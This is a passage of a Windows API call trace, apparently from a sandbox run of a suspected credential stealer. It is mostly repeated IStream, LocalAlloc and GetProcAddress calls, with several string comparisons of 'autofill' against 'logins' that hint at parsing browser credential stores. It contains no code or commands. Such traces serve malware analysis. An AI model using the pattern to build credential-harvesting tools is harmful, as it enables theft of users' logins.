IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cec38 [0056.525] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x2cc810 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.526] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d900 [0056.526] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.526] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x2cc810 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.526] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30d998 [0056.526] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.526] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x2cc810 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0056.526] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30da30 [0056.526] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.526] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.526] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.526] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.526] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cc810 [0056.526] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.526] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.527] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x30dac8 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30dac8) returned 0x0 [0056.527] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x30dc10 [0056.527] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.527] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.527] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.527] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x6459, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x6459, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x645a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.527] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.527] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc188, libOffset=0x645b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.527] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.527] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cea58 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.527] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.527] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.528] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cecd8 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.528] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.528] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.528] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x30da28 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.528] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x30dad0 [0056.528] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.528] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0056.528] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30da28 [0056.528] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.528] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.528] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.528] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.528] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30db80 [0056.528] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.528] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.529] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.529] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x632b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x632b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x632c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.529] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc188, libOffset=0x632d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.529] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cea58 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ced78 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.529] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.529] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.529] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.529] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.530] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30da28 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.530] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x2cee18 [0056.530] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.530] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0056.530] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30da28 [0056.530] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.530] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0056.530] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30dac0 [0056.530] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.530] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.530] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x30db58 [0056.530] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30db58) returned 0x0 [0056.531] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x30dc10 [0056.531] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.531] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.531] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.531] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x62b5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x62b5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x62b6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.531] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.531] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc188, libOffset=0x62b7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.531] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cee18 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.531] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.531] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.532] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cea58 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.532] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.532] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.532] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x30da28 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.532] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x30dad0 [0056.532] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.532] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.532] 